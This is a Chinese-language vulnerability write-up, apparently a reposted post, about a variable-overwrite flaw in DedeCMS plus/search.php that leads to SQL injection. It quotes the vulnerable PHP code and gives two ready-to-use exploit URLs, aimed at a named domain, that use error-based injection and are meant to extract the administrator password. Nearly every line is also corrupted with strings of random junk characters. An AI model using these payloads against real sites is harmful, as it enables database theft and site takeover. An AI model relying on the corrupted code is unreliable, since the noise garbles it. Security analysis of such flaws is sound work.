微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.; Y/ Y0 q! J4 ~7 R# I
作者: c4rp3nt3r@0x50sec.org
8 E) s; F0 X5 A' \4 CDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
) y g/ s; G" m# W! Z* {0 g' L
/ z+ m1 i; f" \: i+ p1 w黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.9 i [1 F; H# \; A
% q3 |6 R4 Y9 ?% j- v
============1 w% ~! s# X" [; o( ?; a; l3 @
: }& E# }9 K4 b0 `* F 6 N( E4 f" l) y$ O% e5 K9 E
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.7 Y. N6 x' N/ Y9 N
2 a" u) U- O j8 D [. q* |require_once(dirname(__FILE__).”/../include/common.inc.php”);
. y1 n0 C* m' R, U6 nrequire_once(DEDEINC.”/arc.searchview.class.php”);
2 T# [+ k; K/ G6 J: y5 @( v# e * V. W% y* L0 h
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;" N# e! I3 ~/ }: a B; `! h. M
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;8 K" x1 Y$ c W
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;) W6 R, o8 o1 {) \# x9 m0 }0 k
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
6 ~ @5 @; @: r$ Y9 V3 u$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
( s3 T. _; W, o
& L2 H5 Z1 q# d/ M" F4 Lif(!isset($orderby)) $orderby=”;' d" n+ R0 Y* K! q7 i: S) B! W h
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
7 v, y/ E; e ?1 |9 e
) Y7 M( a) j/ i# z% Z! y+ D1 q2 V # a ~3 P: H5 F3 u3 N
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
1 x& q5 }( r Z3 w5 D% }4 Relse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);' ^ ^6 D5 N: u: \4 M
+ p9 \. W! m) }if(!isset($keyword)){5 c9 O ^# \# i X; h a- S1 p9 e
if(!isset($q)) $q = ”;5 ~5 [- s* d( M& S# A3 B8 f' i y
$keyword=$q;3 I# u) c' e: |) |5 m/ U6 E
}
/ F, h1 { o6 d: ~
, |3 h7 w9 w" F. g$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));; B3 P3 m, a& T
) Q7 B5 p3 Y% b8 @7 m' \8 X
//查找栏目信息
* O+ f. H$ B# H7 O; P! W1 xif(empty($typeid))% V) J5 {6 W* n2 A8 _3 Y4 x
{& R b! d5 }' Y
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
( ]2 o2 Z# q( U if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
+ O) c* ?( R/ Q# J$ |' l9 D7 {4 u {, T9 ]$ D* x! @, M
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);6 v+ ~8 t- ]0 \! X, k
fwrite($fp, “<”.”?php\r\n”);* n0 a: |% Q% q) R
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);' z, [* j2 {4 g d1 g0 H9 i
$dsql->Execute();
: u0 O: P) _/ b6 h q2 \ while($row = $dsql->GetArray())
9 E6 |9 |0 r; [9 Q6 ~* G5 }2 o {
" O2 Y- {* q ]6 \7 Q6 R! Q4 E fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
. M& A1 _" C/ u }( @- q" X/ i: g
fwrite($fp, ‘?’.'>’);8 b) E( H+ {. C% ?2 Y* ?: h
fclose($fp);2 o' I5 X& [, S
}2 s! y4 P: h0 ]. {/ _7 r
//引入栏目缓存并看关键字是否有相关栏目内容. ?' E: {' W6 G+ {; M& q: c
require_once($typenameCacheFile);* q* E! x0 h* G9 e* {3 q, ]# t4 j
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个6 H4 J3 z# w5 `. |/ V/ V4 p
//
' s( h; D S6 m2 x if(isset($typeArr) && is_array($typeArr))
1 c8 E) J N; B; b4 @/ | {/ U9 @ C7 P. \# N
foreach($typeArr as $id=>$typename)
( \) l% A) R3 \/ S9 s {
0 |) C p( Y5 I8 M: m ( V) T, {0 N4 v, b/ {, {
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
/ Y. {& [; j S( g if($keyword != $keywordn)
9 a/ q1 f0 i5 C2 u( O {0 \: I# {7 |% l; V, }
$keyword = $keywordn;5 N3 G6 e% S* X4 h7 e9 F; z. R. `
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设4 ~2 S0 Q. Q( A$ K3 N! U
break;
0 W R; |$ a( _ }' Q/ {* n0 y, p2 w! y
}: P! D( _$ a0 v' F
}
+ q- e- J" a- v6 b) U* t- B2 m& x& n}
$ n+ V+ i! b; a6 z( N6 ]: I. F$ O: L& C然后plus/search.php文件下面定义了一个 Search类的对象 .
: K8 y7 Z# H) N0 K* I' z' {在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
. `7 T# _( s% H5 G$this->TypeLink = new TypeLink($typeid);
) t6 C7 G; ~; u6 y0 M! V1 B1 H : T7 |/ w5 f9 B! w6 M* ?
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.. s# z+ D$ I6 Q/ |, n
% S" ^$ E2 ~# G7 G( x# m3 Eclass TypeLink. B3 r. a9 ^' A; x& x
{/ Z6 ]8 z8 G# _5 h
var $typeDir;8 j- S. n( x: b' F
var $dsql;
1 {! Q' M7 u2 f) B L. v6 i var $TypeID;
0 g& l6 Q. G; O& t var $baseDir;- t8 f8 f% l5 c2 o0 }: c
var $modDir;% g% k9 R& x+ n3 o$ D( o; i* S2 S
var $indexUrl;2 t; l" B+ h: P: k1 u0 k
var $indexName;; ?& u3 {. c) m2 }
var $TypeInfos;
; {' K3 J% F: }/ E: Y% ~1 X3 Y var $SplitSymbol;8 @- j* N- H6 ?) [) {7 [0 u
var $valuePosition;
0 ]) c1 M/ \! S6 W1 N" [/ q var $valuePositionName;
, a# _, T- P/ T6 }9 P0 q3 }7 { var $OptionArrayList;//构造函数///////
* d. t1 \0 C' T //php5构造函数# b- a5 h2 K$ y" w) B
function __construct($typeid)
4 S/ s3 y( [8 d1 q2 j { ^6 u/ s( r0 {1 q( b' i
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
% b6 p5 j; k B" r" a9 v $this->indexName = $GLOBALS['cfg_indexname'];/ @; W5 G$ Z, `' k
$this->baseDir = $GLOBALS['cfg_basedir'];7 l( x7 v6 H. Z" G3 K' h
$this->modDir = $GLOBALS['cfg_templets_dir'];
6 c. N6 F! O5 \, {. M) D $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];+ R6 s/ ~4 D9 O3 H6 K
$this->dsql = $GLOBALS['dsql'];8 ^/ {6 P* a4 W6 V
$this->TypeID = $typeid;
6 Q0 b) q7 v {! F {5 z* _ $this->valuePosition = ”;, W0 j8 N0 @+ I- E2 {
$this->valuePositionName = ”;
5 ~& C& R$ l, u $this->typeDir = ”;
# Q" I) n5 R0 [9 `6 @0 E5 W! V( J $this->OptionArrayList = ”;
9 \$ j3 {- ~8 y ; `& n( }1 |; J7 r' A9 U. e
//载入类目信息, \' t: X0 A1 ~& {) v8 ^8 \
/ o1 J" v; D0 m. K' j
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
& S* |$ N& P6 @8 u& b; H) w K, Uctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join; t& e, e& L/ v' _# X
`#@__channeltype` ch; a* L3 T4 S: q6 U" X2 c
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
6 `: ]: d5 V5 ^* m f/ p 5 i9 Q- |' P3 u5 N
if($typeid > 0)
) D; k+ D' b/ ?; d* K9 |, q {5 y3 m5 {4 Z6 h1 e+ s
$this->TypeInfos = $this->dsql->GetOne($query);5 e( G! ^( K( ], Q3 e
利用代码一 需要 即使magic_quotes_gpc = Off
P/ U9 Z1 y/ g2 b5 X( \/ i3 M+ }
: W7 b* f. V' [1 mwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title2 i( r, i" J7 Y7 P' u4 O/ Q
v: H' Z6 `8 M" {这只是其中一个利用代码… Search 类的构造函数再往下
* K* F* Y) ~' t. X
A, K2 F& u& Z( V# \1 K' T: N9 V……省略
$ h7 t- U F T0 }7 B3 ^$this->TypeID = $typeid;, r5 q8 X, J( A, u% K
……省略
' f ^% T1 S8 k! q8 |( V7 m8 v) zif($this->TypeID==”0″){) C s% d6 {1 s1 k; ]8 N
$this->ChannelTypeid=1;
" A) ? G" K0 X% N }else{" [8 |& k( C: o+ ^3 Z: A. y
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
8 O/ f; i0 D% ~1 _7 T//现在不鸡肋了吧亲…
- F* x3 n- z1 u $this->ChannelTypeid=$row['channeltype'];
$ O2 X7 H* i( Y$ \/ @0 ]
$ G; u0 f) S. f5 L2 \- \" b }
" P6 ~! w1 I0 w! r L }利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
* E9 B! W& ^- V7 V- \
1 f! P9 x$ f r* M/ x+ V. [www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title# b7 n7 r i& g. r: Q
4 `6 C' o: N7 ?& L
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
6 k0 ~2 D; ]" f w! U9 X |